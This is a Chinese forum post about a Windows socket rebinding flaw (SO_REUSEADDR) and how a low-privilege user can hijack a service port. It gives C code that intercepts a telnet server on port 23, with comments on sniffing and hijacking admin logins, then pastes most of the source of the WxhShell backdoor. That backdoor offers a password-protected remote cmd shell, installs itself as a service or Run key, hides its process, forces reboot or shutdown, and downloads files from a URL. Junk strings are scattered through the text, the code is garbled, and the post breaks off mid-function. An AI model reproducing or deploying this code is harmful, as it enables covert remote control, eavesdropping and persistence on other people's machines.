-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \-^3Pe, s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p?Y1^/
3'8~H]<W saddr.sin_family = AF_INET; 7\.5G4dr% [*Lh4K saddr.sin_addr.s_addr = htonl(INADDR_ANY); S5j#&i =uHTpHR bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Xr@0RFdr[ x[]n\\a? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M:ttzsd sviGS&J9h 这意味着什么?意味着可以进行如下的攻击: kY|<1Ht {2!.3<# 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (q)W<GYP @ ~PL|Pp_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6uD Nqq s;>jy/o0 s 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 , =#'?>Kq {9(N?\S1`a 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 o^Ms(?K%t 44!bwXz8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E]bjI$j
8$1<N 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]1X];x&e V4|pZ] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \5Hfe;ny-~ VQ+Xh #include IyMKV$" #include +ft?aB@ #include =h4XsV)rO #include ;:v:pg8qc DWORD WINAPI ClientThread(LPVOID lpParam); d35 ,[ int main() |',Gy\Sj { B7cXbUAQs WORD wVersionRequested; WO|#`HM2 DWORD ret; a4c~ThbI WSADATA wsaData; *edB3!! BOOL val; ondF SOCKADDR_IN saddr; m/<7FU8 SOCKADDR_IN scaddr; Uc.K6%iI int err; \ZXH(N*>2t SOCKET s; 7Kfh:0Ihhy SOCKET sc; Q~nc:eWD int caddsize; 9mr99tA HANDLE mt; }=NjFK_6 DWORD tid; <J\z6+,4E wVersionRequested = MAKEWORD( 2, 2 ); pbJs3uIR err = WSAStartup( wVersionRequested, &wsaData ); n<?:!f` if ( err != 0 ) { <~'\~Z d+ printf("error!WSAStartup failed!\n"); t|1?mH9 return -1; W@#Y/L:${ } %;GDg3L[p saddr.sin_family = AF_INET; /aP`|&G,) DvU(rr\p //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^MuO;<<,. H.*XoktC] saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _E3*; saddr.sin_port = htons(23); >-f`mT if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k\A8Z[ { rlgp1>89 printf("error!socket failed!\n"); -Zkl\A$> return -1; Mc9% s$MT } c{zQX0 val = TRUE; MC^H N w //SO_REUSEADDR选项就是可以实现端口重绑定的 q'[5h>Pa if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3s" Rv@ { 2}K7(y!?u printf("error!setsockopt failed!\n"); 0X.pI1jCO return -1; UE5T%zd / } o@vo,JU //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tv5G']vO\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6Z0@4_Y@B6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 aH*)W'N? .cjSgK1 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z.--"cF { Ov h[qm?Z ret=GetLastError(); \IIR2Xf,K printf("error!bind failed!\n"); I!~5. return -1; '`I&g8I\ } x8w455 listen(s,2); #2s$dI while(1) h,45-#+ { ng"R[/)In caddsize = sizeof(scaddr); Jc95Ki1X //接受连接请求 ;kDz9Va sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @h$cHZ if(sc!=INVALID_SOCKET) %N04k8z { QOB>TvE mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Hz `aj if(mt==NULL) ^fa+3`> { E)7vuWOO printf("Thread Creat Failed!\n"); 9t9x&.A break; /^SIJS@^`> } (]>=y } CNwIM6t CloseHandle(mt); 4cDjf~n } qS:hv&~ closesocket(s); 1:(qoA: WSACleanup(); k?ZtRhPu3X return 0; @lRTp } 9ePG-=5I DWORD WINAPI ClientThread(LPVOID lpParam) %We~k'2f
{ >+ulLQqe SOCKET ss = (SOCKET)lpParam; nkUSd}a`r SOCKET sc; Cz` !j unsigned char buf[4096]; p3`ND;KQ SOCKADDR_IN saddr; n=qN@u;Fi# long num; h\k@7wgu DWORD val; c 2t<WRG DWORD ret; TCWy^8LA //如果是隐藏端口应用的话,可以在此处加一些判断 F
jsnFX; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 0Z$=2c?xT saddr.sin_family = AF_INET; K-vG5t0$\/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cks53/Z saddr.sin_port = htons(23); rl"$6{Z} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CY"&@v1 { >MwjUq printf("error!socket failed!\n"); 78T9"CS return -1; lV<2+Is } VC$,Y val = 100; ~gg(i"V if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o`,|{K$H { PT4Wox9U ret = GetLastError(); 6aRPm% return -1; g<(3wL," } LhO%^`vu if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LX;w~fRr. { 5n{J}0C ret = GetLastError(); I6@98w}" return -1; ;;;aM:6\ } >zx]%
W if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <+o*"z\mI { 1$mxMXNsJ printf("error!socket connect failed!\n"); HGM ?
?= closesocket(sc); sxc^n
aK0 closesocket(ss); ZFYv|2l return -1; .LMOmc=( } ,41Z_h while(1) e1ts/@V { trlZ ^K //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :4Jq T|nS //如果是嗅探内容的话,可以再此处进行内容分析和记录 =Y!x //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4
JC*c num = recv(ss,buf,4096,0); PW7{,1te, if(num>0) RI.6.f1dy send(sc,buf,num,0); ;J[ed>v;3 else if(num==0) nwSujD break; $$'a num = recv(sc,buf,4096,0); nz_=]PHO& if(num>0) 3>vSKh1z send(ss,buf,num,0); {P/ sxh:e else if(num==0) V;}kgWc1 break; o\<m99Ub } *WTmS2?'h closesocket(ss); *XN|ZGl/ closesocket(sc); [=/Yo1:v return 0 ; 9NzK1V0X } ;6+e !h'1 =T7lv%u
P}kBqMM ========================================================== 5@ c/,6l n@1;5)&k~ 下边附上一个代码,,WXhSHELL q-?
k=RX` PH!^ww6
========================================================== 4sJM!9eb[ -o:
ifF| #include "stdafx.h" 'OEh'\d+x i*ibx;s- #include <stdio.h> Z:_ wE62' #include <string.h> JdYmUM|K/c #include <windows.h> d OG]Yjc #include <winsock2.h> pX 4:WV #include <winsvc.h> Lvco9
Ak #include <urlmon.h> o4Ny9s VT@,RlB0 #pragma comment (lib, "Ws2_32.lib") WxE^S ??| #pragma comment (lib, "urlmon.lib") VKGH+j[ HV0! G-h #define MAX_USER 100 // 最大客户端连接数 &>%R)?SZh #define BUF_SOCK 200 // sock buffer nrFuhW\r #define KEY_BUFF 255 // 输入 buffer J]h$4" x{'3eJ^8 #define REBOOT 0 // 重启 BeR7LV #define SHUTDOWN 1 // 关机 Aho zrroV ,?k0~fuG6 #define DEF_PORT 5000 // 监听端口 t 0 omJP y"bSn5B[ #define REG_LEN 16 // 注册表键长度 _U
Q|I|V# #define SVC_LEN 80 // NT服务名长度 1UHlA8w7Q A5WchS' // 从dll定义API &Y`V A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H]I^?+)9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
n7EG%q6m+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HLL:nczj typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0oC5W?>8s H0dHW;U<1 // wxhshell配置信息 LA +BH_t& struct WSCFG { '
\8|`Zb int ws_port; // 监听端口 bh
Nqj char ws_passstr[REG_LEN]; // 口令 f52*s#4} int ws_autoins; // 安装标记, 1=yes 0=no Ng Jp2ut char ws_regname[REG_LEN]; // 注册表键名 hwD;1n char ws_svcname[REG_LEN]; // 服务名 6cQ)*,Q char ws_svcdisp[SVC_LEN]; // 服务显示名 "J.7@\^ h/ char ws_svcdesc[SVC_LEN]; // 服务描述信息 7NQ@q--3s char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]'"aVGqa. int ws_downexe; // 下载执行标记, 1=yes 0=no [\_#n5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 4Y'Kjx char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /7`fg0A 6Wn"h|S }; I38j[Xk $T#yxx // default Wxhshell configuration UZ*Yt struct WSCFG wscfg={DEF_PORT, *m>XtBw. "xuhuanlingzhe", jIvSjlm I 1, O,D/&0 "Wxhshell", LK>J]p "Wxhshell", u*h+c8|zI "WxhShell Service", >du _/*8: "Wrsky Windows CmdShell Service", \>7hT;Av=G "Please Input Your Password: ", ~ZxFL$<'3 1, )8,) &F " http://www.wrsky.com/wxhshell.exe", Sd9%tO9mf "Wxhshell.exe" :c?}~a~JO( }; U%PII>s'# ^7p>p8 // 消息定义模块 3Yb2p!o char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZH
s' # char *msg_ws_prompt="\n\r? for help\n\r#>"; th4yuDPuA char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ,ve$bSp char *msg_ws_ext="\n\rExit."; Zqp<8M2 char *msg_ws_end="\n\rQuit."; [V2`t' char *msg_ws_boot="\n\rReboot..."; 8T]x4JQ0 char *msg_ws_poff="\n\rShutdown..."; $~G=Hcl9 char *msg_ws_down="\n\rSave to "; _yH=w'8. +k?0C?/T; char *msg_ws_err="\n\rErr!"; {y\5 9 char *msg_ws_ok="\n\rOK!"; _=g;K+%fb yG/_k!{9 char ExeFile[MAX_PATH]; =QG0:z)K<v int nUser = 0; {=Y3[ HANDLE handles[MAX_USER]; Vi:<W0: int OsIsNt; )a;ou>u vR*TW SERVICE_STATUS serviceStatus; sM _m SERVICE_STATUS_HANDLE hServiceStatusHandle; CS\ E]f #q-7#pp // 函数声明 A}h`%b int Install(void); -~HyzX\cZB int Uninstall(void); bMjE@S& int DownloadFile(char *sURL, SOCKET wsh); cs\/6gSCo int Boot(int flag); FV];od&c void HideProc(void); z>&|:VGG int GetOsVer(void); 7O\sQ]i6 int Wxhshell(SOCKET wsl); ohW
qp2~ void TalkWithClient(void *cs); L2WH-XP= int CmdShell(SOCKET sock); 9{(A- int StartFromService(void); DtRu&>o_6D int StartWxhshell(LPSTR lpCmdLine); ;Q{~jT zEJZ, < VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FHv^^u'@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); P_y8[Y]? FVo_=O) // 数据结构和表定义 2$@N4 SERVICE_TABLE_ENTRY DispatchTable[] = H6Dw5vG"l { ]N#%exBVo {wscfg.ws_svcname, NTServiceMain}, 2sXNVo8`w" {NULL, NULL} >vny9^_ }; v "Yo -0G/a&ss // 自我安装 $KAOJc4< int Install(void) loR,f&80=O { -V\$oVS0S char svExeFile[MAX_PATH]; c
0/vB HKEY key; A])+Pe strcpy(svExeFile,ExeFile);
(;(P3h .^ o3 // 如果是win9x系统,修改注册表设为自启动 &?wNL@n if(!OsIsNt) { ] l@Mo7|w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #ts;s\! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )^q7s&p/ RegCloseKey(key); !7fL' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GyP.;$NHa[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =,HxtPJ RegCloseKey(key); mDB?;a> return 0; <,\Op=$l3I } NW
AT" } 9`8D Ga } R32A2Ml else { y<0RgG1qp NJqjW // 如果是NT以上系统,安装为系统服务 !\(j[d# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BK/~2u if (schSCManager!=0) f?[0I\V[$ { *l9Wj$vja SC_HANDLE schService = CreateService 'ai3f ( wx]r{ schSCManager, o)}M$}4 wscfg.ws_svcname, X
8#Uk} / wscfg.ws_svcdisp, ,!i!q[YkL9 SERVICE_ALL_ACCESS, 67]kT%0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U1,f$McZs SERVICE_AUTO_START, ("!P_Q# SERVICE_ERROR_NORMAL, .9'bi#:Cw svExeFile, 7{fOo%(7 NULL, POl_chq NULL, J}M_Ka NULL, G-#]|) NULL, A6faRi703 NULL :rcohzfa ); W}0cM9 g if (schService!=0) ~REP@!\r^ { FQp@/H^ CloseServiceHandle(schService); 7JL*y\' CloseServiceHandle(schSCManager); ~bsL
W:.' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \:[J-ySJ strcat(svExeFile,wscfg.ws_svcname); 8-.jf if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "u=U@1 ^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b>_eD- RegCloseKey(key); :3h'Hr return 0; = 3("gScUj } M>m+VsJV } fx#Krr@ CloseServiceHandle(schSCManager); 7sglqf> } Ao}J } )/4xR] C(jUM!m return 1; +@5@`"Jry } t,4'\nv* Of?3|I3 l // 自我卸载 }(-2a*Z;Y int Uninstall(void) sQ05wAv { A!bH0=<I HKEY key; )o\U4t ?K>=>bS^h if(!OsIsNt) { E!SxO~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g71|t7Q RegDeleteValue(key,wscfg.ws_regname); \7elqX`.yY RegCloseKey(key); _ giZ'&l! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WJJwhr RegDeleteValue(key,wscfg.ws_regname); L2P#5B!S RegCloseKey(key); r{1xjAT return 0; Sb,lY<= } WN`|5"?$ } 2J0N]`|) } jDKL}x else { Fmo^ ?~b 9u%S<F" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lAZn0EU if (schSCManager!=0) (w/)u { :0o,pndU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bzh`s<+ if (schService!=0) ZBcT@hxm { VHlo}Ek<# if(DeleteService(schService)!=0) { `j1(GQt CloseServiceHandle(schService); ?V>{3 CloseServiceHandle(schSCManager); ;c;5O@R}3 return 0; ouO<un } AC& }8w[>u CloseServiceHandle(schService); FXd><#U } i<>zN^zn CloseServiceHandle(schSCManager); p^/6Rb"e } #lo1GoL\ } \pJBBG Zwm2T3@e return 1; ~SD8#;v2 } w>6~
zAh '$m
uA\ // 从指定url下载文件 hDAxX=FM int DownloadFile(char *sURL, SOCKET wsh) VzZ'W[/7)B { 5L% \rH&N HRESULT hr; s J~WzQ char seps[]= "/"; q\q8xF~[p char *token; 6OLp x)fG char *file; x+B7r&#: char myURL[MAX_PATH]; NJ ];Ck char myFILE[MAX_PATH]; f.X<Mo /_g-w93
strcpy(myURL,sURL); pipO,n token=strtok(myURL,seps); +D&aE$< while(token!=NULL) Q
xg)Wb# { J~,Ny_L file=token; *~H\#N|x token=strtok(NULL,seps); W2 p&LP } b0n " J` %M
KZ':m GetCurrentDirectory(MAX_PATH,myFILE); I%qZMoS1h strcat(myFILE, "\\"); Kp.d#W_TX strcat(myFILE, file); 0'Y'K6hG` send(wsh,myFILE,strlen(myFILE),0); ^;[|,:8f7L send(wsh,"...",3,0); H1^m>4ll9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cQOc^W if(hr==S_OK) nJ{vO{N return 0; ehe;<A else Q
q7+_,w return 1; y^xEZD1X6- <1xs
ya[e } uhJnDo 5q Y+^jO]o // 系统电源模块 ^_C]?D? int Boot(int flag) IA&NMf;{ { \n}@}E L HANDLE hToken; <{xU.zp'
TOKEN_PRIVILEGES tkp; dnXre*rhz wx2EMr if(OsIsNt) { ~[H+,+XLY+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Fu;\t 0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
7%g8&d tkp.PrivilegeCount = 1; B>=NE.ulUL tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~EJ+<[/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); We51s^( if(flag==REBOOT) { qS.TVNZ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q#a<T4l return 0; :l/?cV; } g(`m#&P>G else { Q^c)T>OAI if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LFHzd@Y7" return 0; 5UU1HC;C } ~0 5p+F) } TcjTF|q> else { piv/QP-X if(flag==REBOOT) { `$hna{e^n if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !Ic{lB return 0; 3LK]VuZE } ^xZ o.P else { T)Ohk(jK1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |gP9^B?3 return 0; Hvj1R.I/ } VP\'p1a } pA|Z%aL fVJsVZ"6v` return 1; zVL"$ ) } 9f/RD?(1O ja1WI // win9x进程隐藏模块 HC[)):S* void HideProc(void) U.mVz,k3 { CRKuN w!8xZu HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FK ~FC:K if ( hKernel != NULL ) miCW(mbO8 { ;3 |Z}P pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "B9aJo ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l{u2W$8 FreeLibrary(hKernel); 3\~
RWoB0u } ud}B#{6 !rwe|"8m?u return; &y~EEh| } E/[<} ./ y;1
'hP& // 获取操作系统版本 s'Op|`&X int GetOsVer(void) ]`S35b { 7 g2@RKo OSVERSIONINFO winfo; 9"%ot=) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [
S_8;j GetVersionEx(&winfo); T+9#& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b7nER]R return 1; &Fxw19[G else E,fG<X{ return 0; iR`c/ } e.<y-b? p"lTZ7c:Y // 客户端句柄模块 4Z"JC9As int Wxhshell(SOCKET wsl) vi:IO { Ev' BmDk SOCKET wsh; ,cg%t9 struct sockaddr_in client; ={GYJ.*Ah DWORD myID; M:* ^k Ry+Ax4#+(y while(nUser<MAX_USER) Ie14`' { >^!qxb- int nSize=sizeof(client); K/OE;;<IA wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P{{pp<tX*& if(wsh==INVALID_SOCKET) return 1; K}(0H [P fQtV-\Bc handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -55Pvg0ND if(handles[nUser]==0) 68pB*(i closesocket(wsh); >gqd
y*Bg else %%=PpKYtSD nUser++; AlQE;4yX } $u`v
k|\R WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R"0fZENTG 9*"Ae0ok1 return 0; YH%aPsi } T9,T'y>BD Ig*qn# Dd // 关闭 socket @fML.AT void CloseIt(SOCKET wsh) -5_[m@Vr { n%"0%A closesocket(wsh);
S@N:Cj nUser--; R>05MhA+ ExitThread(0); u\,("2ZW9+ } y&$mN S<+/ Ep 2 // 客户端请求句柄 AZi|85rN void TalkWithClient(void *cs) >We:gKxr { mR OXwzL _Coh11 SOCKET wsh=(SOCKET)cs; T<\!7RnLc char pwd[SVC_LEN]; G31??L:< char cmd[KEY_BUFF]; _ zh>q4M char chr[1]; aeP
6JHj int i,j; Xw|t.0 ~gjREl,+D# while (nUser < MAX_USER) { H /kSFf{ +Je(]b@ if(wscfg.ws_passstr) { 5,pKv if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :Ur=}@Dj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]nEZQ+F //ZeroMemory(pwd,KEY_BUFF); ?\eq!bu i=0; v@8=u4 while(i<SVC_LEN) { 6axDuwQ Ckelr // 设置超时 7i,Z c] fd_set FdRead; `9+>2*k struct timeval TimeOut; 2L'vB1` FD_ZERO(&FdRead); wGXnS"L! FD_SET(wsh,&FdRead); 8\85Wk{b TimeOut.tv_sec=8; [ NSsT>C TimeOut.tv_usec=0; X)tf3M
{J@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^YpA@`n if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bg8<}~zg `?X=@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )AX0x1I|E pwd =chr[0]; 6"d^4L? if(chr[0]==0xd || chr[0]==0xa) { H|uvc vf pwd=0; -RSPYQjz break; ]lKQwpX3 } *TjolE~o i++; J5J$qCJq } }Z|uLXaz xKKR'v:o\ // 如果是非法用户,关闭 socket T%%+v#+ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E>BP b }
qrFC4\q} b :Knc$ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $7#N@7 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q 16jL,i a!;]9}u7 while(1) { @Gs*y1 78s:~|WB<{ ZeroMemory(cmd,KEY_BUFF); *mc]Oa
&*}NN5Sv // 自动支持客户端 telnet标准 [I`r[u j=0; ;FO1b* while(j<KEY_BUFF) { nbnbG0r: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o4)^U t+ cmd[j]=chr[0]; wW7W+,{o if(chr[0]==0xa || chr[0]==0xd) { pP4i0mO{Dv cmd[j]=0; 3lyk/', break; N}Ol`@@#h } JY\8^}'9 j++; h48JpZ" } :J3ZTyjb x4PH-f-7 // 下载文件 RaKfYLw if(strstr(cmd,"http://")) { Q9lw~" send(wsh,msg_ws_down,strlen(msg_ws_down),0); %f{1u5+5 if(DownloadFile(cmd,wsh)) d2Z kchf send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y4%Bx8 else +DWmutL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9I a4PPEH1 } X(-e-:B4; else { Y *
#'Gh, 9.KOrg5}L switch(cmd[0]) { :q V}v2 1_Um6vS# // 帮助 x*H4o{o0 case '?': { \haJe~ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $c-h'o break; dbkkx1{>Y } Q0K4_iN)& // 安装 U/ncD F%C case 'i': { `"0#lZ`n if(Install()) rz]0i@ehv' send(wsh,msg_ws_err,strlen(msg_ws_err),0); &^ sgR$m else >K{/ Jx& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +Xi#y}% break; a pxZ} } +$MNG // 卸载 H61,pr> case 'r': { 8oSndfV if(Uninstall()) $XFiH~GI send(wsh,msg_ws_err,strlen(msg_ws_err),0); x%ZgLvdp, else qll) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,3G8afo break; EDR;" G(N } ta>:iQa // 显示 wxhshell 所在路径 u,:GJU case 'p': { (C#9/WO? char svExeFile[MAX_PATH]; {:&t;5qz^ strcpy(svExeFile,"\n\r"); DiK@>$v strcat(svExeFile,ExeFile); _y}]j;e8>{ send(wsh,svExeFile,strlen(svExeFile),0); Azx4+`!- break; q$EicH}k8 } IqK??KSC // 重启 N[%^0T$ case 'b': { (F$V m send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l`L}*Q- 5 if(Boot(REBOOT)) ]8(_{@/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); :)v4:&do else { V#?GDe}[ closesocket(wsh); r;`6ML[5Vx ExitThread(0); ;d1\2H } n'D1s:W^B break; 7|6uY } !>B|z= // 关机 1F*gPhm case 'd': { }&d@6m] send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xrX^";}j if(Boot(SHUTDOWN)) )v1n#m,W send(wsh,msg_ws_err,strlen(msg_ws_err),0); nDnSVrvd-i else { ':8yp|A| closesocket(wsh); >Vr+\c ExitThread(0); zbdmz } #C1u~db break; SxLu< } SI=vA\e // 获取shell sE$!MQb case 's': { sQrP,:=r# CmdShell(wsh); D 8^wR{-;J closesocket(wsh); G>{Bij44 ExitThread(0); *TY?*H break; ANEW^\ } =Mb!&qq // 退出 ]}2+yK case 'x': { XVjs0/5b send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '~RP+ CloseIt(wsh); DfP4 ` break; q.0a0/R } q3\
YL? // 离开 <Q'J=;vV case 'q': { u1F@VV{ send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8 /1 sy.R closesocket(wsh); Zr,:i
MPZ WSACleanup(); G2Eke; exit(1); x@3Ix,b' break; i-)OY, } z{U2K' } (]0JI1
d } smQ<lwA =Jfo=`da // 提示信息 tgy*!B6a~ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |Id0+-V
? }
8%]o6'd4 } y@"6Dt| (j;s6g0 return; L.XGD|m } x5vvY 6p%;:mDB // shell模块句柄 p`lv$ @q' int CmdShell(SOCKET sock) uh'{+E;= { ]NS{q85 STARTUPINFO si; !E<y:$eH: ZeroMemory(&si,sizeof(si)); e;9Z/);#s si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }p 0\ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HV@C@wmg PROCESS_INFORMATION ProcessInfo; B2QttcJ
char cmdline[]="cmd"; d 6 t#4! CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?yop#tjCbY return 0; !, Y1FC } '{+5+ J $8gj}0}eH // 自身启动模式 x5_V5A/@LU int StartFromService(void) #?8dInu> { _]btsv\)f typedef struct lB9 9J"A { sJ[I< DWORD ExitStatus; U:xY~> DWORD PebBaseAddress; vZ[wr@) DWORD AffinityMask; 4Cs
|F7R DWORD BasePriority; aI]EwVz-q ULONG UniqueProcessId; {\3ZmF ULONG InheritedFromUniqueProcessId; F]kn4zr } PROCESS_BASIC_INFORMATION; z97RNT|Y7U `R@1Sc<*| PROCNTQSIP NtQueryInformationProcess; %fB]N Hd
